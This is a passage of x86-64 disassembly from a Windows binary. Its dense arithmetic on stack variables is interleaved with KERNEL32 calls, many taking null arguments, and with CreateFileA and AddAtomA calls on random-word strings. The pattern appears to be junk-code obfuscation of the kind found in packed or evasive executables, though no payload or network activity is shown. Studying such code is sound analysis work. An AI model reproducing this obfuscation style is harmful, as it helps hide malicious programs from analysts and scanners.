mov rcx, qword [rsp + 0x9028]
mov byte [rcx], al
lea rcx, [rsp + 0x9100]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x91d8]
mov eax, dword [rax]
mov dword [rsp + 0x43bc], eax
mov eax, dword [rsp + 0x42d4]
mov ecx, dword [rsp + 0x41b8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8cd0]
mov dword [rcx], eax
mov r9d, 1
lea r8, [rsp + 0x9100]
mov rdx, qword [rsp + 0x8c48]
mov rcx, qword [rsp + 0x9300]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x43c0], eax
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x90e0]
shl rax, cl
mov qword [rsp + 0x8da0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea rax, [rsp + 0x8ff8]
mov qword [rsp + 0x9308], rax
lea rax, [rsp + 0x6e]
mov qword [0x1401e7480], rax
mov rax, qword [rsp + 0x91b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x69]
sar eax, cl
mov byte [rsp + 0x64], al
movzx ecx, word [rsp + 0xb6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xbec], ax
movzx ecx, word [rsp + 0xb88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb80], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8d90], rax
lea rax, [rsp + 0xbc8]
mov qword [rsp + 0x9310], rax
movsx eax, byte [rsp + 0x64]
mov rcx, qword [rsp + 0x91b8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8fe8]
mov byte [rcx], al
lea rcx, [rsp + 0x9100]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0xbcc]
mov rcx, qword [rsp + 0x8fd0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbd0], ax
mov eax, dword [rsp + 0x43ac]
mov dword [rsp + 0x43c4], eax
mov rax, qword [rsp + 0x8c78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4364]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4270], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x92f0]
mov qword [rsp + 0x9318], rax
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x9090]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9288], rax
movzx eax, byte [rsp + 0x65]
movzx ecx, byte [0x1401e6013]
sub eax, ecx
mov rcx, qword [rsp + 0x8f78]
mov byte [rcx], al
lea rax, [rsp + 0xbe0]
mov qword [0x1401e7488], rax
mov rax, qword [rsp + 0x8e78]
movzx eax, word [rax]
mov word [rsp + 0xbf0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
movsx eax, byte [rsp + 0x69]
movsx ecx, byte [rsp + 0x5b]
add eax, ecx
mov rcx, qword [rsp + 0x9208]
mov byte [rcx], al
movzx ecx, word [rsp + 0xb7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb88], ax
lea rcx, [rsp + 0x29ea0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x43c8], eax
lea rax, [rsp + 0xb60]
mov qword [rsp + 0x9320], rax
mov rax, qword [rsp + 0x9138]
mov rcx, qword [rsp + 0x8db8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8d70]
mov qword [rcx], rax
lea rax, [rsp + 0x424c]
mov qword [rsp + 0x9328], rax
mov rax, qword [rsp + 0x8cc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x92a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9048], rax
movzx ecx, word [rsp + 0xb88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb80], ax
mov eax, dword [rsp + 0x4364]
mov ecx, dword [rsp + 0x4348]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41b8], eax
movzx eax, word [rsp + 0xba8]
mov word [rsp + 0xbf4], ax
mov rax, qword [rsp + 0x91f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x90b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e6012], al
lea rcx, [rsp + 0x29f40]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4314], eax
movsx eax, byte [rsp + 0x6d]
movsx ecx, byte [rsp + 0x66]
sub eax, ecx
mov byte [rsp + 0x52], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.C:DislikedUnsuitablenessReassign_represented
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9330], rax
lea rax, [rsp + 0x6d]
mov qword [rsp + 0x9338], rax
mov rax, qword [rsp + 0x8e68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5f]
sub eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x92c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8cc0]
mov qword [rsp + 0x9340], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9340]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x90d0]
mov qword [rcx], rax
lea rax, [rsp + 0x90e0]
mov qword [rsp + 0x9348], rax
mov rax, qword [rsp + 0x8fc0]
mov eax, dword [rax]
mov ecx, dword [0x1401e6018]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9198]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov eax, dword [rsp + 0x4344]
mov dword [rsp + 0x43cc], eax
lea rdx, [rsp + 0x43d0]
mov rcx, qword [rsp + 0x9290]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x434c], eax
movsx eax, byte [rsp + 0x69]
movsx ecx, byte [0x1401e741a]
shl eax, cl
mov rcx, qword [rsp + 0x9008]
mov byte [rcx], al
movzx eax, word [rsp + 0xbe0]
mov word [0x1401e7490], ax
mov rax, qword [rsp + 0x9200]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5a]
xor eax, ecx
mov byte [rsp + 0x55], al
lea rax, [rsp + 0xbb4]
mov qword [rsp + 0x9350], rax
movsx eax, word [0x1401e7438]
mov rcx, qword [rsp + 0x8e20]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xbc8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
lea rax, [rsp + 0x8c98]
mov qword [rsp + 0x9358], rax
mov eax, dword [rsp + 0x4370]
mov ecx, dword [rsp + 0x4340]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4348], eax
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4238], eax
mov rax, qword [rsp + 0x9108]
mov ecx, dword [rsp + 0x43cc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x43c4], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e58], rax
lea rax, [rsp + 0x92a8]
mov qword [rsp + 0x9360], rax
mov rax, qword [rsp + 0x8fe8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x92e8]
mov byte [rcx], al
mov rax, qword [0x1401e7428]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb74]
add eax, ecx
mov word [0x1401e603c], ax
lea rax, [rsp + 0x51]
mov qword [rsp + 0x9368], rax
movsx eax, word [rsp + 0xbc4]
movsx ecx, word [rsp + 0xbf4]
sub eax, ecx
mov rcx, qword [rsp + 0x8eb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9280]
movzx eax, word [rax]
mov word [rsp + 0xbf8], ax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fd0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbf8], ax
movzx ecx, word [rsp + 0xb88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xbfc], ax
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rsp + 0x8f30]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8c98], rax
lea rax, [rsp + 0x9210]
mov qword [rsp + 0x9370], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0x9030]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4340]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9198]
mov dword [rcx], eax
lea rax, [rsp + 0x43c4]
mov qword [rsp + 0x9378], rax
mov rax, qword [rsp + 0x9200]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401e601c], al
movsx eax, word [rsp + 0xbb0]
mov rcx, qword [rsp + 0x8fe0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
movzx ecx, word [rsp + 0xb90]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xbec], ax
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
mov rcx, qword [0x1401e7478]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6a], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.C:TreatableTartyMisuses
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9380], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
lea rax, [rsp + 0xb70]
mov qword [rsp + 0x9388], rax
movsx eax, byte [rsp + 0x5b]
mov rcx, qword [rsp + 0x9118]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x56], al
mov eax, dword [rsp + 0x4344]
mov dword [rsp + 0x43d4], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1cab
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x434c], eax
mov rax, qword [rsp + 0x8f00]
mov ecx, dword [rsp + 0x4214]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4378], eax
lea rcx, str.Billet_unreasonableness_Caustically_Sculpt
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xbbc], ax
mov rax, qword [rsp + 0x9308]
mov rcx, qword [rsp + 0x9278]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9010]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x43d8], eax
mov rax, qword [rsp + 0x9370]
mov rax, qword [rax]
mov qword [rsp + 0x9390], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x43d0], eax
mov edx, 0x7074d4
mov rcx, qword [rsp + 0x8f98]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x435c], eax
mov rax, qword [rsp + 0x8eb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb84]
add eax, ecx
mov word [0x1401e6040], ax
mov rax, qword [rsp + 0x9000]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbb4]
sub eax, ecx
mov rcx, qword [rsp + 0x91c8]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.C:maydayGabled
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9398], rax
mov rax, qword [rsp + 0x90c8]
movzx eax, byte [rax]
mov byte [rsp + 0x6f], al
movsx eax, word [rsp + 0xbf4]
mov rcx, qword [rsp + 0x90f8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbc0], ax
movzx eax, byte [rsp + 0x53]
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x92d8]
mov rcx, qword [rsp + 0x91f8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8dd8], rax
mov rax, qword [rsp + 0x9370]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c18]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9090]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4270]
mov dword [rsp + 0x43dc], eax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x4380]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x69]
add eax, ecx
mov byte [0x1401e601d], al
lea rax, [rsp + 0xbc4]
mov qword [rsp + 0x93a0], rax
movsx eax, byte [rsp + 0x5c]
movsx ecx, byte [rsp + 0x69]
sub eax, ecx
mov rcx, qword [rsp + 0x8c68]
mov byte [rcx], al
mov rax, qword [rsp + 0x9080]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x91c8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0xbb8], ax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x93a8], rax
mov rax, qword [rsp + 0x8f88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9160]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9318], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0x9048]
mov qword [rsp + 0x93b0], rax
mov rax, qword [rsp + 0x9018]
mov ecx, dword [rsp + 0x4398]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4388], eax
mov eax, dword [rsp + 0x41bc]
mov rcx, qword [rsp + 0x8e98]
mov qword [rsp + 0x93b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x93b8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x9328]
mov dword [rcx], eax
lea rcx, [rsp + 0x25458]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx eax, byte [rsp + 0x59]
movsx ecx, byte [rsp + 0x54]
shl eax, cl
mov byte [0x1401e601d], al
movzx ecx, word [rsp + 0xb88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc00], ax
lea rax, [rsp + 0xb78]
mov qword [rsp + 0x93c0], rax
movzx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x93a8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x90c8]
mov byte [rcx], al
lea rcx, str.Accents_thenceforth_deteriorates_Triplets_Impingement
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xc00], ax
mov rax, qword [rsp + 0x9310]
movzx eax, word [rax]
mov word [rsp + 0xc04], ax
movzx eax, byte [rsp + 0x58]
mov rcx, qword [0x1401e7480]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x67], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov rax, qword [rsp + 0x8f00]
mov rcx, qword [rsp + 0x91c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4390], eax
mov rcx, qword [rsp + 0x8f80]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x42ec], eax
lea rcx, [rsp + 0x254f8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [rsp + 0x29ea0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4238], eax
mov rcx, qword [rsp + 0x91e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x435c], eax
mov rax, qword [rsp + 0x9010]
mov rax, qword [rax]
mov qword [rsp + 0x93c8], rax
lea rcx, [rsp + 0x25520]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [rsp + 0x43bc]
mov ecx, dword [rsp + 0x4380]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4344], eax
mov rax, qword [rsp + 0x8c18]
mov qword [rsp + 0x93d0], rax
mov rax, qword [rsp + 0x9310]
movzx eax, word [rax]
mov word [0x1401e7494], ax
movzx eax, word [rsp + 0xb9c]
mov rcx, qword [rsp + 0x90e8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9350]
mov word [rcx], ax
lea rax, [0x1401e602a]
mov qword [rsp + 0x93d8], rax
mov rax, qword [rsp + 0x9208]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8fb8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5b], al
mov rax, qword [rsp + 0x9060]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb78]
and eax, ecx
mov rcx, qword [rsp + 0x9250]
mov word [rcx], ax
lea rax, [rsp + 0x9188]
mov qword [rsp + 0x93e0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8d30], rax
mov rax, qword [rsp + 0x9298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x92b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9168], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0x8c78]
mov eax, dword [rax]
mov dword [rsp + 0x43e0], eax
mov rax, qword [rsp + 0x9378]
mov ecx, dword [rsp + 0x43a8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x43cc], eax
lea rax, [rsp + 0x50]
mov qword [0x1401e7498], rax
lea rdx, [rsp + 0x42fc]
mov rcx, qword [rsp + 0x8d18]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x43e4], eax
movsx eax, byte [rsp + 0x63]
movsx ecx, byte [rsp + 0x64]
add eax, ecx
mov rcx, qword [rsp + 0x9118]
mov byte [rcx], al
movzx eax, word [rsp + 0xbf4]
mov word [rsp + 0xc08], ax
movzx eax, byte [rsp + 0x5d]
movzx ecx, byte [rsp + 0x68]
or eax, ecx
mov rcx, qword [rsp + 0x9200]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
movzx eax, word [rsp + 0xbb8]
mov word [rsp + 0xc0c], ax
mov r9d, 0x1696
xor r8d, r8d
lea rdx, [rsp + 0x9110]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x434c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [0x1401e6014]
mov rcx, qword [rsp + 0x9140]
mov qword [rsp + 0x93e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x93e8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x42d4], eax
mov eax, dword [rsp + 0x424c]
mov ecx, dword [rsp + 0x4380]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x43c4], eax
lea rax, [rsp + 0x9278]
mov qword [rsp + 0x93f0], rax
mov rax, qword [0x1401e6008]
movzx ecx, al
mov rax, qword [rsp + 0x90c0]
shl rax, cl
mov qword [rsp + 0x92a8], rax
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x54]
and eax, ecx
mov byte [0x1401e602b], al
mov rax, qword [rsp + 0x92a0]
movzx eax, word [rax]
mov word [rsp + 0xc10], ax
mov rax, qword [rsp + 0x8e68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5f]
add eax, ecx
mov byte [rsp + 0x5d], al
lea rax, [rsp + 0xbf4]
mov qword [rsp + 0x93f8], rax
movsx eax, word [rsp + 0xc04]
movsx ecx, word [rsp + 0xbdc]
sub eax, ecx
mov word [rsp + 0xba4], ax
mov rax, qword [rsp + 0x93b0]
mov rcx, qword [0x1401e6020]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9098]
mov qword [rcx], rax
lea rax, [rsp + 0x4398]
mov qword [rsp + 0x9400], rax
mov rax, qword [rsp + 0x91a8]
mov ecx, dword [rsp + 0x43c4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x43d4], eax
lea rax, [0x1401e7410]
mov qword [rsp + 0x9408], rax
movsx eax, byte [rsp + 0x5c]
movsx ecx, byte [rsp + 0x60]
add eax, ecx
mov byte [rsp + 0x5e], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
movzx eax, word [rsp + 0xbcc]
mov rcx, qword [rsp + 0x93c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e7430]
mov word [rcx], ax
movsx eax, word [0x1401e7468]
movsx ecx, word [rsp + 0xba0]
and eax, ecx
mov rcx, qword [rsp + 0x8eb8]
mov word [rcx], ax
movzx ecx, word [rsp + 0xb88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb88], ax
movzx eax, byte [rsp + 0x58]
mov byte [rsp + 0x71], al
movzx eax, word [rsp + 0xb70]
movzx ecx, word [0x1401e6038]
imul eax, ecx
mov rcx, qword [rsp + 0x91e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f90]
mov eax, dword [rax]
mov dword [rsp + 0x43e8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8d90], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.C:Manipulated_speedboatshuskySalute
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9410], rax
mov rax, qword [rsp + 0x9090]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8da0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9168], rax
mov rax, qword [rsp + 0x9130]
mov ecx, dword [rsp + 0x4378]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4228], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0x9188]
mov qword [rsp + 0x9418], rax
mov rax, qword [rsp + 0x8fe8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x92e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x93d8]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e601c]
shl eax, cl
mov byte [0x1401e602a], al
movzx eax, word [rsp + 0xbd4]
mov word [rsp + 0xc14], ax
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x67]
sar eax, cl
mov byte [rsp + 0x51], al
movsx eax, word [rsp + 0xb64]
movsx ecx, word [0x1401e6040]
sub eax, ecx
mov word [rsp + 0xb68], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
lea rax, [rsp + 0x41bc]
mov qword [rsp + 0x9420], rax
mov rax, qword [rsp + 0x8f20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x92a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9288], rax
lea rax, [rsp + 0x437c]
mov qword [rsp + 0x9428], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0x9418]
mov rcx, qword [0x1401e7420]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x92d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8fc8]
movzx eax, byte [rax]
mov byte [rsp + 0x72], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rax, [rsp + 0xbf4]
mov qword [0x1401e74a0], rax
movsx eax, byte [0x1401e7419]
movsx ecx, byte [rsp + 0x59]
sub eax, ecx
mov byte [rsp + 0x5e], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0x8e30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
movzx eax, word [rsp + 0xc14]
movzx ecx, word [rsp + 0xbcc]
sub eax, ecx
mov word [rsp + 0xb9c], ax
lea rax, [rsp + 0xc04]
mov qword [rsp + 0x9430], rax
mov rax, qword [rsp + 0x9298]
mov rcx, qword [rsp + 0x9288]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9098]
mov qword [rcx], rax
lea rax, [rsp + 0x4394]
mov qword [rsp + 0x9438], rax
mov rax, qword [rsp + 0x8cc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9258]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9358]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9428]
mov rcx, qword [rsp + 0x9270]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41d0], eax
lea rax, [rsp + 0xbb8]
mov qword [rsp + 0x9440], rax
movsx eax, word [rsp + 0xba4]
movsx ecx, word [rsp + 0xbf0]
add eax, ecx
mov word [0x1401e7438], ax
movzx eax, byte [0x1401e602a]
movzx ecx, byte [rsp + 0x5d]
and eax, ecx
mov rcx, qword [rsp + 0x90c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9208]
movzx eax, byte [rax]
mov byte [rsp + 0x73], al
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [0x1401e601f]
or eax, ecx
mov byte [rsp + 0x69], al
mov edx, 0x3dd0fe
mov rcx, qword [rsp + 0x9238]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x43ec], eax
mov rcx, qword [rsp + 0x9290]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4324], eax
movsx eax, word [rsp + 0xb64]
movsx ecx, word [rsp + 0xba4]
sar eax, cl
mov rcx, qword [rsp + 0x8eb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f68]
mov qword [rsp + 0x9448], rax
mov eax, dword [0x1401e6014]
mov rcx, qword [rsp + 0x9248]
mov qword [rsp + 0x9450], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9450]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9030]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x90b0], rax
lea rax, [rsp + 0x43ac]
mov qword [rsp + 0x9458], rax
mov rax, qword [rsp + 0x9358]
mov rcx, qword [rsp + 0x8f88]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x92d8]
mov qword [rcx], rax
lea rax, [rsp + 0x64]
mov qword [0x1401e74a8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0x9460], rax
movzx eax, byte [rsp + 0x55]
movzx ecx, byte [rsp + 0x57]
sub eax, ecx
mov byte [rsp + 0x5d], al
movzx eax, word [rsp + 0xb70]
mov word [rsp + 0xc18], ax
mov rax, qword [rsp + 0x8eb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb98]
add eax, ecx
mov rcx, qword [rsp + 0x8fe0]
mov word [rcx], ax
movzx ecx, word [rsp + 0xb6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc00], ax
lea rax, [0x1401e601f]
mov qword [rsp + 0x9468], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x7de3
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x42fc], eax
mov rax, qword [rsp + 0x9370]
mov rcx, qword [rsp + 0x8c20]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9348]
mov qword [rcx], rax
